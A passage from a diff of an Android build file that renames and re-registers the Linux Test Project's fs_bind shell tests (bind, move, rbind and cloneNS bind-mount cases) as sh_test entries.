-    name: "ltp_testcases_bin_fs_bind_bind_test10",
-    src: "testcases/kernel/fs/fs_bind/bind/test10",
-    sub_dir: "ltp/testcases/bin/fs_bind/bind",
-    filename: "test10",
+    name: "ltp_testcases_bin_fs_bind06.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind06.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind06.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bind_test11",
-    src: "testcases/kernel/fs/fs_bind/bind/test11",
-    sub_dir: "ltp/testcases/bin/fs_bind/bind",
-    filename: "test11",
+    name: "ltp_testcases_bin_fs_bind07-2.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind07-2.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind07-2.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bind_test12",
-    src: "testcases/kernel/fs/fs_bind/bind/test12",
-    sub_dir: "ltp/testcases/bin/fs_bind/bind",
-    filename: "test12",
+    name: "ltp_testcases_bin_fs_bind07.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind07.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind07.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bind_test14",
-    src: "testcases/kernel/fs/fs_bind/bind/test14",
-    sub_dir: "ltp/testcases/bin/fs_bind/bind",
-    filename: "test14",
+    name: "ltp_testcases_bin_fs_bind08.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind08.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind08.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bind_test15",
-    src: "testcases/kernel/fs/fs_bind/bind/test15",
-    sub_dir: "ltp/testcases/bin/fs_bind/bind",
-    filename: "test15",
+    name: "ltp_testcases_bin_fs_bind09.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind09.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind09.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bind_test16",
-    src: "testcases/kernel/fs/fs_bind/bind/test16",
-    sub_dir: "ltp/testcases/bin/fs_bind/bind",
-    filename: "test16",
+    name: "ltp_testcases_bin_fs_bind10.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind10.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind10.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bind_test18",
-    src: "testcases/kernel/fs/fs_bind/bind/test18",
-    sub_dir: "ltp/testcases/bin/fs_bind/bind",
-    filename: "test18",
+    name: "ltp_testcases_bin_fs_bind11.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind11.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind11.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_bind_test19",
-    src: "testcases/kernel/fs/fs_bind/bind/test19",
-    sub_dir: "ltp/testcases/bin/fs_bind/bind",
-    filename: "test19",
+    name: "ltp_testcases_bin_fs_bind12.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind12.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind12.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_move_test08",
-    src: "testcases/kernel/fs/fs_bind/move/test08",
-    sub_dir: "ltp/testcases/bin/fs_bind/move",
-    filename: "test08",
+    name: "ltp_testcases_bin_fs_bind13.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind13.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind13.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_move_test22",
-    src: "testcases/kernel/fs/fs_bind/move/test22",
-    sub_dir: "ltp/testcases/bin/fs_bind/move",
-    filename: "test22",
+    name: "ltp_testcases_bin_fs_bind14.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind14.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind14.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test01",
-    src: "testcases/kernel/fs/fs_bind/rbind/test01",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test01",
+    name: "ltp_testcases_bin_fs_bind15.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind15.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind15.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test02",
-    src: "testcases/kernel/fs/fs_bind/rbind/test02",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test02",
+    name: "ltp_testcases_bin_fs_bind16.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind16.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind16.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test03",
-    src: "testcases/kernel/fs/fs_bind/rbind/test03",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test03",
+    name: "ltp_testcases_bin_fs_bind17.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind17.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind17.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test04",
-    src: "testcases/kernel/fs/fs_bind/rbind/test04",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test04",
+    name: "ltp_testcases_bin_fs_bind18.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind18.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind18.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test05",
-    src: "testcases/kernel/fs/fs_bind/rbind/test05",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test05",
+    name: "ltp_testcases_bin_fs_bind19.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind19.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind19.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test06",
-    src: "testcases/kernel/fs/fs_bind/rbind/test06",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test06",
+    name: "ltp_testcases_bin_fs_bind20.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind20.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind20.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test07",
-    src: "testcases/kernel/fs/fs_bind/rbind/test07",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test07",
+    name: "ltp_testcases_bin_fs_bind21.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind21.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind21.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test07-2",
-    src: "testcases/kernel/fs/fs_bind/rbind/test07-2",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test07-2",
+    name: "ltp_testcases_bin_fs_bind22.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind22.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind22.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test09",
-    src: "testcases/kernel/fs/fs_bind/rbind/test09",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test09",
+    name: "ltp_testcases_bin_fs_bind23.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind23.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind23.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test13",
-    src: "testcases/kernel/fs/fs_bind/rbind/test13",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test13",
+    name: "ltp_testcases_bin_fs_bind24.sh",
+    src: "testcases/kernel/fs/fs_bind/bind/fs_bind24.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind24.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test17",
-    src: "testcases/kernel/fs/fs_bind/rbind/test17",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test17",
+    name: "ltp_testcases_bin_fs_bind_cloneNS01.sh",
+    src: "testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_cloneNS01.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test20",
-    src: "testcases/kernel/fs/fs_bind/rbind/test20",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test20",
+    name: "ltp_testcases_bin_fs_bind_cloneNS02.sh",
+    src: "testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_cloneNS02.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test21",
-    src: "testcases/kernel/fs/fs_bind/rbind/test21",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test21",
+    name: "ltp_testcases_bin_fs_bind_cloneNS03.sh",
+    src: "testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_cloneNS03.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test23",
-    src: "testcases/kernel/fs/fs_bind/rbind/test23",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test23",
+    name: "ltp_testcases_bin_fs_bind_cloneNS04.sh",
+    src: "testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS04.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_cloneNS04.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test24",
-    src: "testcases/kernel/fs/fs_bind/rbind/test24",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test24",
+    name: "ltp_testcases_bin_fs_bind_cloneNS05.sh",
+    src: "testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS05.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_cloneNS05.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test25",
-    src: "testcases/kernel/fs/fs_bind/rbind/test25",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test25",
+    name: "ltp_testcases_bin_fs_bind_cloneNS06.sh",
+    src: "testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS06.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_cloneNS06.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test26",
-    src: "testcases/kernel/fs/fs_bind/rbind/test26",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test26",
+    name: "ltp_testcases_bin_fs_bind_cloneNS07.sh",
+    src: "testcases/kernel/fs/fs_bind/cloneNS/fs_bind_cloneNS07.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_cloneNS07.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test27",
-    src: "testcases/kernel/fs/fs_bind/rbind/test27",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test27",
+    name: "ltp_testcases_bin_fs_bind_lib.sh",
+    src: "testcases/kernel/fs/fs_bind/fs_bind_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_lib.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test28",
-    src: "testcases/kernel/fs/fs_bind/rbind/test28",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test28",
+    name: "ltp_testcases_bin_fs_bind_move01.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move01.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test29",
-    src: "testcases/kernel/fs/fs_bind/rbind/test29",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test29",
+    name: "ltp_testcases_bin_fs_bind_move02.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move02.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test30",
-    src: "testcases/kernel/fs/fs_bind/rbind/test30",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test30",
+    name: "ltp_testcases_bin_fs_bind_move03.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move03.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test31",
-    src: "testcases/kernel/fs/fs_bind/rbind/test31",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test31",
+    name: "ltp_testcases_bin_fs_bind_move04.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move04.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move04.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test32",
-    src: "testcases/kernel/fs/fs_bind/rbind/test32",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test32",
+    name: "ltp_testcases_bin_fs_bind_move05.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move05.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move05.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test33",
-    src: "testcases/kernel/fs/fs_bind/rbind/test33",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test33",
+    name: "ltp_testcases_bin_fs_bind_move06.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move06.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move06.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test34",
-    src: "testcases/kernel/fs/fs_bind/rbind/test34",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test34",
+    name: "ltp_testcases_bin_fs_bind_move07.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move07.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move07.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test35",
-    src: "testcases/kernel/fs/fs_bind/rbind/test35",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test35",
+    name: "ltp_testcases_bin_fs_bind_move08.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move08.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move08.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test36",
-    src: "testcases/kernel/fs/fs_bind/rbind/test36",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test36",
+    name: "ltp_testcases_bin_fs_bind_move09.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move09.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move09.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test37",
-    src: "testcases/kernel/fs/fs_bind/rbind/test37",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test37",
+    name: "ltp_testcases_bin_fs_bind_move10.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move10.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move10.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test38",
-    src: "testcases/kernel/fs/fs_bind/rbind/test38",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test38",
+    name: "ltp_testcases_bin_fs_bind_move11.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move11.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move11.sh",
     compile_multilib: "both",
 }
 
 sh_test {
-    name: "ltp_testcases_bin_fs_bind_rbind_test39",
-    src: "testcases/kernel/fs/fs_bind/rbind/test39",
-    sub_dir: "ltp/testcases/bin/fs_bind/rbind",
-    filename: "test39",
+    name: "ltp_testcases_bin_fs_bind_move12.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move12.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move12.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move13.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move13.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move13.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move14.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move14.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move14.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move15.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move15.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move15.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move16.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move16.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move16.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move17.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move17.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move17.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move18.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move18.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move18.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move19.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move19.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move19.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move20.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move20.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move21.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move21.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move21.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_move22.sh",
+    src: "testcases/kernel/fs/fs_bind/move/fs_bind_move22.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_move22.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind01.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind02.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind03.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind03.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind03.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind04.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind04.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind04.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind05.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind05.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind05.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind06.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind06.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind06.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind07-2.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07-2.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind07-2.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind07.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind07.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind07.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind08.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind08.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind08.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind09.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind09.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind09.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind10.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind10.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind10.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind11.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind11.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind11.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind12.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind12.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind12.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind13.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind13.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind13.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind14.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind14.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind14.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind15.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind15.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind15.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind16.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind16.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind16.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind17.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind17.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind17.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind18.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind18.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind18.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind19.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind19.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind19.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind20.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind20.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind20.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind21.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind21.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind21.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind22.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind22.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind22.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind23.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind23.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind23.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind24.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind24.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind24.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind25.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind25.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind25.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind26.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind26.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind26.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind27.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind27.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind27.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind28.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind28.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind28.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind29.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind29.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind29.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind30.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind30.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind30.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_fs_bind_rbind31.sh",
+    src: "testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind31.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "fs_bind_rbind31.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
